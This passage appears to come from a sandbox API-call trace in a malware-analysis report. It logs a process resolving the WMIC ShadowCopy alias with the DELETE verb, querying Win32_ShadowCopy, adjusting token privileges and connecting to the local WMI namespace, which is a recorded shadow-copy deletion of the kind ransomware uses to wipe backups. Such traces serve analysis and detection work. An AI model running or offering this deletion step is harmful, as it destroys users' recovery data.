varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.024] free (_Block=0x1a70258d9d0) [0096.024] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0096.024] malloc (_Size=0x16) returned 0x1a70258dad0 [0096.024] lstrlenW (lpString="ROOT\\CIMV2") returned 10 [0096.024] malloc (_Size=0x18) returned 0x1a70258db30 [0096.024] IWbemClassObject:Get (in: This=0x1a7023b7340, wszName="Locale", lFlags=0, pVal=0x44bcc7f730*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a7023967d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f730*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ms_409", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.024] free (_Block=0x1a70258db30) [0096.024] lstrlenW (lpString="ms_409") returned 6 [0096.024] malloc (_Size=0xe) returned 0x1a70258dc90 [0096.024] lstrlenW (lpString="ms_409") returned 6 [0096.024] malloc (_Size=0x18) returned 0x1a70258de50 [0096.024] IWbemClassObject:Get (in: This=0x1a7023b7340, wszName="User", lFlags=0, pVal=0x44bcc7f730*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a7023967d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f730*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.024] free (_Block=0x1a70258de50) [0096.024] malloc (_Size=0x18) returned 0x1a70258de70 [0096.024] IWbemClassObject:Get (in: This=0x1a7023b7340, wszName="Password", lFlags=0, pVal=0x44bcc7f730*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f730*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.024] free (_Block=0x1a70258de70) [0096.024] malloc (_Size=0x18) returned 0x1a70258df30 [0096.024] IWbemClassObject:Get (in: This=0x1a7023b7340, wszName="Server", lFlags=0, pVal=0x44bcc7f730*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f730*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=".", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.024] free (_Block=0x1a70258df30) [0096.024] lstrlenW (lpString=".") returned 1 [0096.024] malloc (_Size=0x4) returned 0x1a70258ebe0 [0096.024] lstrlenW (lpString=".") returned 1 [0096.024] malloc (_Size=0x18) returned 0x1a70258dcd0 [0096.024] IWbemClassObject:Get (in: This=0x1a7023b7340, wszName="Authority", lFlags=0, pVal=0x44bcc7f730*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a7023967d8, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f730*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.025] free (_Block=0x1a70258dcd0) [0096.025] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0096.025] IUnknown:Release (This=0x1a7023b7340) returned 0x1 [0096.025] GetCurrentThreadId () returned 0xec4 [0096.025] ??0CHString@@QEAA@XZ () returned 0x44bcc7f728 [0096.025] malloc (_Size=0x18) returned 0x1a70258d8d0 [0096.025] IWbemClassObject:Get (in: This=0x1a7023b7090, wszName="__RELPATH", lFlags=0, pVal=0x44bcc7f738*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f738*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="MSFT_CliAlias.FriendlyName=\"ShadowCopy\"", varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.025] free (_Block=0x1a70258d8d0) [0096.025] malloc (_Size=0x18) returned 0x1a70258d990 [0096.025] GetCurrentThreadId () returned 0xec4 [0096.025] ??0CHString@@QEAA@XZ () returned 0x44bcc7f5f8 [0096.025] ??0CHString@@QEAA@PEBG@Z () returned 0x44bcc7f610 [0096.025] ??0CHString@@QEAA@AEBV0@@Z () returned 0x44bcc7f588 [0096.025] ?Empty@CHString@@QEAAXXZ () returned 0x7ff9295f674c [0096.025] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x1a70258ec00 [0096.025] ?Find@CHString@@QEBAHPEBG@Z () returned 0x1b [0096.025] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x44bcc7f598 [0096.025] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x44bcc7f590 [0096.025] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x44bcc7f610 [0096.026] ??1CHString@@QEAA@XZ () returned 0x1 [0096.026] ??1CHString@@QEAA@XZ () returned 0x1 [0096.026] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x44bcc7f560 [0096.026] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x44bcc7f588 [0096.026] ??1CHString@@QEAA@XZ () returned 0x1 [0096.026] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x1a70258ec70 [0096.026] ?Find@CHString@@QEBAHPEBG@Z () returned 0xa [0096.026] ?Left@CHString@@QEBA?AV1@H@Z () returned 0x44bcc7f598 [0096.026] ??H@YA?AVCHString@@AEBV0@PEBG@Z () returned 0x44bcc7f590 [0096.026] ??YCHString@@QEAAAEBV0@AEBV0@@Z () returned 0x44bcc7f610 [0096.026] ??1CHString@@QEAA@XZ () returned 0x1 [0096.026] ??1CHString@@QEAA@XZ () returned 0x1 [0096.026] ?Mid@CHString@@QEBA?AV1@H@Z () returned 0x44bcc7f560 [0096.026] ??4CHString@@QEAAAEBV0@AEBV0@@Z () returned 0x44bcc7f588 [0096.026] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0096.026] ?GetData@CHString@@IEBAPEAUCHStringData@@XZ () returned 0x7ff9295f6740 [0096.026] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0096.026] malloc (_Size=0x18) returned 0x1a70258da50 [0096.026] malloc (_Size=0x18) returned 0x1a70258dc30 [0096.026] malloc (_Size=0x18) returned 0x1a70258da70 [0096.026] malloc (_Size=0x18) returned 0x1a70258da90 [0096.026] malloc (_Size=0x18) returned 0x1a70258d8d0 [0096.026] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=") returned 0x3c [0096.026] SysStringLen (param_1="\"Description\",RelPath=\"") returned 0x17 [0096.026] malloc (_Size=0x18) returned 0x1a70258dc70 [0096.026] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"") returned 0x53 [0096.026] SysStringLen (param_1="MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x29 [0096.026] malloc (_Size=0x18) returned 0x1a70258d9b0 [0096.026] SysStringLen (param_1="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"") returned 0x7c [0096.026] SysStringLen (param_1="\"") returned 0x1 [0096.027] free (_Block=0x1a70258dc70) [0096.027] free (_Block=0x1a70258d8d0) [0096.027] free (_Block=0x1a70258da90) [0096.027] free (_Block=0x1a70258da70) [0096.027] free (_Block=0x1a70258dc30) [0096.027] free (_Block=0x1a70258da50) [0096.027] IWbemServices:GetObject (in: This=0x1a7023a6110, strObjectPath="MSFT_LocalizablePropertyValue.ObjectLocator=\"\",PropertyName=\"Description\",RelPath=\"MSFT_CliAlias.FriendlyName=\\\"ShadowCopy\\\"\"", lFlags=0, pCtx=0x0, ppObject=0x44bcc7f5d8*=0x0, ppCallResult=0x0 | out: ppObject=0x44bcc7f5d8*=0x1a7023b7920, ppCallResult=0x0) returned 0x0 [0096.035] malloc (_Size=0x18) returned 0x1a70258de50 [0096.035] IWbemClassObject:Get (in: This=0x1a7023b7920, wszName="Text", lFlags=0, pVal=0x44bcc7f620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x44bcc7f620*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x1a70239bc60*(cDims=0x1, fFeatures=0x180, cbElements=0x8, cLocks=0x0, pvData=0x1a702397610, rgsabound=((cElements=0x1, lLbound=0))), varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0096.035] free (_Block=0x1a70258de50) [0096.035] SafeArrayGetLBound (in: psa=0x1a70239bc60, nDim=0x1, plLbound=0x44bcc7f5ec | out: plLbound=0x44bcc7f5ec) returned 0x0 [0096.035] SafeArrayGetUBound (in: psa=0x1a70239bc60, nDim=0x1, plUbound=0x44bcc7f5f0 | out: plUbound=0x44bcc7f5f0) returned 0x0 [0096.035] SafeArrayGetElement (in: psa=0x1a70239bc60, rgIndices=0x44bcc7f5e8, pv=0x44bcc7f600 | out: pv=0x44bcc7f600) returned 0x0 [0096.035] malloc (_Size=0x18) returned 0x1a70258db90 [0096.035] malloc (_Size=0x18) returned 0x1a70258df90 [0096.035] SysStringLen (param_1="Shadow copy management.") returned 0x17 [0096.035] free (_Block=0x1a70258db90) [0096.035] IUnknown:Release (This=0x1a7023b7920) returned 0x0 [0096.035] free (_Block=0x1a70258d9b0) [0096.035] ??1CHString@@QEAA@XZ () returned 0x1 [0096.035] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0096.035] free (_Block=0x1a70258d990) [0096.035] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0096.035] lstrlenW (lpString="Shadow copy management.") returned 23 [0096.036] malloc (_Size=0x30) returned 0x1a70258a760 [0096.036] lstrlenW (lpString="Shadow copy management.") returned 23 [0096.036] free (_Block=0x1a70258df90) [0096.036] IUnknown:Release (This=0x1a7023b7090) returned 0x0 [0096.036] free (_Block=0x1a70258df70) [0096.036] ??1CHString@@QEAA@XZ () returned 0x7ff9295f674c [0096.036] lstrlenW (lpString="PATH") returned 4 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.036] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="PATH", cchCount2=4) returned 1 [0096.036] lstrlenW (lpString="WHERE") returned 5 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.036] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="WHERE", cchCount2=5) returned 1 [0096.036] lstrlenW (lpString="(") returned 1 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.036] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="(", cchCount2=1) returned 3 [0096.036] lstrlenW (lpString="/") returned 1 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.036] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0096.036] lstrlenW (lpString="-") returned 1 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.036] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0096.036] malloc (_Size=0x18) returned 0x1a70258d950 [0096.036] lstrlenW (lpString="GET") returned 3 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.036] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0096.036] lstrlenW (lpString="LIST") returned 4 [0096.036] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0096.037] lstrlenW (lpString="SET") returned 3 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0096.037] lstrlenW (lpString="CREATE") returned 6 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0096.037] lstrlenW (lpString="CALL") returned 4 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0096.037] lstrlenW (lpString="ASSOC") returned 5 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0096.037] free (_Block=0x1a70258d950) [0096.037] lstrlenW (lpString="/") returned 1 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="/", cchCount2=1) returned 3 [0096.037] lstrlenW (lpString="-") returned 1 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="-", cchCount2=1) returned 3 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] malloc (_Size=0xe) returned 0x1a70258dfd0 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] lstrlenW (lpString="GET") returned 3 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0096.037] lstrlenW (lpString="LIST") returned 4 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.037] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0096.037] lstrlenW (lpString="SET") returned 3 [0096.037] lstrlenW (lpString="DELETE") returned 6 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0096.038] lstrlenW (lpString="CREATE") returned 6 [0096.038] lstrlenW (lpString="DELETE") returned 6 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0096.038] lstrlenW (lpString="CALL") returned 4 [0096.038] lstrlenW (lpString="DELETE") returned 6 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0096.038] lstrlenW (lpString="ASSOC") returned 5 [0096.038] lstrlenW (lpString="DELETE") returned 6 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0096.038] lstrlenW (lpString="DELETE") returned 6 [0096.038] lstrlenW (lpString="DELETE") returned 6 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0096.038] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0096.038] malloc (_Size=0x3e) returned 0x1a70258ec00 [0096.038] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0096.038] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff60 | out: _String="Select", _Context=0xffffffffffffff60) returned="Select" [0096.038] malloc (_Size=0x18) returned 0x1a70258d8d0 [0096.038] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x65006c00650053 | out: _String=0x0, _Context=0x65006c00650053) returned="*" [0096.038] lstrlenW (lpString="FROM") returned 4 [0096.038] lstrlenW (lpString="*") returned 1 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0096.038] malloc (_Size=0x18) returned 0x1a70258d8f0 [0096.038] free (_Block=0x1a70258d8d0) [0096.038] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1a702150db0*="\x01\x01" | out: _String=0x0, _Context=0x1a702150db0*="\x01\x01") returned="from" [0096.038] lstrlenW (lpString="FROM") returned 4 [0096.038] lstrlenW (lpString="from") returned 4 [0096.038] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0096.038] malloc (_Size=0x18) returned 0x1a70258de10 [0096.039] free (_Block=0x1a70258d8f0) [0096.039] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1a702150db0*="\x01\x01" | out: _String=0x0, _Context=0x1a702150db0*="\x01\x01") returned="Win32_ShadowCopy" [0096.039] malloc (_Size=0x18) returned 0x1a70258d950 [0096.039] free (_Block=0x1a70258de10) [0096.039] free (_Block=0x1a70258ec00) [0096.039] free (_Block=0x1a70258d950) [0096.039] lstrlenW (lpString="SET") returned 3 [0096.039] lstrlenW (lpString="DELETE") returned 6 [0096.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0096.039] lstrlenW (lpString="CREATE") returned 6 [0096.039] lstrlenW (lpString="DELETE") returned 6 [0096.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0096.039] free (_Block=0x1a70258dbd0) [0096.039] malloc (_Size=0x8) returned 0x1a70258ec00 [0096.039] lstrlenW (lpString="GET") returned 3 [0096.039] lstrlenW (lpString="DELETE") returned 6 [0096.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0096.039] lstrlenW (lpString="LIST") returned 4 [0096.039] lstrlenW (lpString="DELETE") returned 6 [0096.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0096.039] lstrlenW (lpString="ASSOC") returned 5 [0096.039] lstrlenW (lpString="DELETE") returned 6 [0096.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0096.039] WbemLocator:IUnknown:AddRef (This=0x1a70234bb20) returned 0x3 [0096.039] free (_Block=0x1a702585b90) [0096.039] lstrlenW (lpString="") returned 0 [0096.039] lstrlenW (lpString="NQDPDE") returned 6 [0096.039] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0096.039] lstrlenW (lpString="NQDPDE") returned 6 [0096.039] malloc (_Size=0xe) returned 0x1a70258db70 [0096.039] lstrlenW (lpString="NQDPDE") returned 6 [0096.040] GetCurrentThreadId () returned 0xec4 [0096.040] GetCurrentProcess () returned 0xffffffffffffffff [0096.040] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x28, TokenHandle=0x44bcc7f960 | out: TokenHandle=0x44bcc7f960*=0x2b0) returned 1 [0096.040] GetTokenInformation (in: TokenHandle=0x2b0, TokenInformationClass=0x3, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x44bcc7f958 | out: TokenInformation=0x0, ReturnLength=0x44bcc7f958) returned 0 [0096.040] malloc (_Size=0x118) returned 0x1a70258ec20 [0096.040] GetTokenInformation (in: TokenHandle=0x2b0, TokenInformationClass=0x3, TokenInformation=0x1a70258ec20, TokenInformationLength=0x118, ReturnLength=0x44bcc7f958 | out: TokenInformation=0x1a70258ec20, ReturnLength=0x44bcc7f958) returned 1 [0096.040] AdjustTokenPrivileges (in: TokenHandle=0x2b0, DisableAllPrivileges=0, NewState=0x1a70258ec20*(PrivilegesCount=0x17, Privileges=((Luid.LowPart=0x5, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x9), (Luid.LowPart=0x2, Luid.HighPart=10, Attributes=0x0), (Luid.LowPart=0xb, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0xd), (Luid.LowPart=0x2, Luid.HighPart=14, Attributes=0x0), (Luid.LowPart=0xf, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x12), (Luid.LowPart=0x2, Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=-1315329228, Attributes=0x1d14), (Luid.LowPart=0x1a7, Luid.HighPart=39345040, Attributes=0x1a7), (Luid.LowPart=0x22, Luid.HighPart=654311463, Attributes=0x1d03), (Luid.LowPart=0x1a7, Luid.HighPart=39321936, Attributes=0x1a7), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0), (Luid.LowPart=0x0, Luid.HighPart=0, Attributes=0x0))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0096.040] free (_Block=0x1a70258ec20) [0096.040] CloseHandle (hObject=0x2b0) returned 1 [0096.040] lstrlenW (lpString="GET") returned 3 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="GET", cchCount2=3) returned 1 [0096.040] lstrlenW (lpString="LIST") returned 4 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="LIST", cchCount2=4) returned 1 [0096.040] lstrlenW (lpString="SET") returned 3 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="SET", cchCount2=3) returned 1 [0096.040] lstrlenW (lpString="CALL") returned 4 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CALL", cchCount2=4) returned 3 [0096.040] lstrlenW (lpString="ASSOC") returned 5 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="ASSOC", cchCount2=5) returned 3 [0096.040] lstrlenW (lpString="CREATE") returned 6 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="CREATE", cchCount2=6) returned 3 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] lstrlenW (lpString="DELETE") returned 6 [0096.040] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="DELETE", cchCount1=6, lpString2="DELETE", cchCount2=6) returned 2 [0096.041] malloc (_Size=0x18) returned 0x1a70258de10 [0096.041] lstrlenA (lpString="") returned 0 [0096.041] malloc (_Size=0x2) returned 0x1a702585b90 [0096.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff64064c40c, cbMultiByte=-1, lpWideCharStr=0x1a702585b90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0096.041] free (_Block=0x1a702585b90) [0096.041] malloc (_Size=0x18) returned 0x1a70258d8f0 [0096.041] lstrlenA (lpString="") returned 0 [0096.041] malloc (_Size=0x2) returned 0x1a702585b90 [0096.041] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff64064c40c, cbMultiByte=-1, lpWideCharStr=0x1a702585b90, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0096.041] free (_Block=0x1a702585b90) [0096.041] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0096.041] malloc (_Size=0x3e) returned 0x1a70258ec20 [0096.041] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0096.041] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select" [0096.041] malloc (_Size=0x18) returned 0x1a70258dd10 [0096.041] free (_Block=0x1a70258d8f0) [0096.041] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1a702150db0*="\x01\x01" | out: _String=0x0, _Context=0x1a702150db0*="\x01\x01") returned="*" [0096.041] lstrlenW (lpString="FROM") returned 4 [0096.041] lstrlenW (lpString="*") returned 1 [0096.041] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0096.041] malloc (_Size=0x18) returned 0x1a70258dd30 [0096.041] free (_Block=0x1a70258dd10) [0096.041] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1a702150db0*="\x01\x01" | out: _String=0x0, _Context=0x1a702150db0*="\x01\x01") returned="from" [0096.041] lstrlenW (lpString="FROM") returned 4 [0096.041] lstrlenW (lpString="from") returned 4 [0096.041] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0096.041] malloc (_Size=0x18) returned 0x1a70258d8d0 [0096.041] free (_Block=0x1a70258dd30) [0096.041] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x1a702150db0*="\x01\x01" | out: _String=0x0, _Context=0x1a702150db0*="\x01\x01") returned="Win32_ShadowCopy" [0096.042] malloc (_Size=0x18) returned 0x1a70258db30 [0096.042] free (_Block=0x1a70258d8d0) [0096.042] free (_Block=0x1a70258ec20) [0096.042] malloc (_Size=0x18) returned 0x1a70258db90 [0096.042] malloc (_Size=0x18) returned 0x1a70258dd50 [0096.042] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0096.042] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0096.042] free (_Block=0x1a70258de10) [0096.042] free (_Block=0x1a70258db90) [0096.043] ??0CHString@@QEAA@XZ () returned 0x44bcc7f8d0 [0096.043] GetCurrentThreadId () returned 0xec4 [0096.043] malloc (_Size=0x18) returned 0x1a70258db90 [0096.043] malloc (_Size=0x18) returned 0x1a70258da50 [0096.043] malloc (_Size=0x18) returned 0x1a70258da70 [0096.043] malloc (_Size=0x18) returned 0x1a70258de10 [0096.043] malloc (_Size=0x18) returned 0x1a70258df30 [0096.043] SysStringLen (param_1="\\\\") returned 0x2 [0096.043] SysStringLen (param_1="NQDPDE") returned 0x6 [0096.043] malloc (_Size=0x18) returned 0x1a70258da90 [0096.043] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0096.043] SysStringLen (param_1="\\") returned 0x1 [0096.043] malloc (_Size=0x18) returned 0x1a70258de30 [0096.043] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0096.043] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0096.043] free (_Block=0x1a70258da90) [0096.044] free (_Block=0x1a70258df30) [0096.044] free (_Block=0x1a70258de10) [0096.044] free (_Block=0x1a70258da70) [0096.044] free (_Block=0x1a70258da50) [0096.044] free (_Block=0x1a70258db90) [0096.044] malloc (_Size=0x18) returned 0x1a70258dfb0 [0096.044] malloc (_Size=0x18) returned 0x1a70258de10 [0096.044] malloc (_Size=0x18) returned 0x1a70258d8d0 [0096.044] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a70234bb20, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6406678d0 | out: ppNamespace=0x7ff6406678d0*=0x1a7023a61a0) returned 0x0 [0097.844] free (_Block=0x1a70258d8d0) [0097.844] free (_Block=0x1a70258de10) [0097.844] free (_Block=0x1a70258dfb0) [0097.844] CoSetProxyBlanket (pProxy=0x1a7023a61a0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, 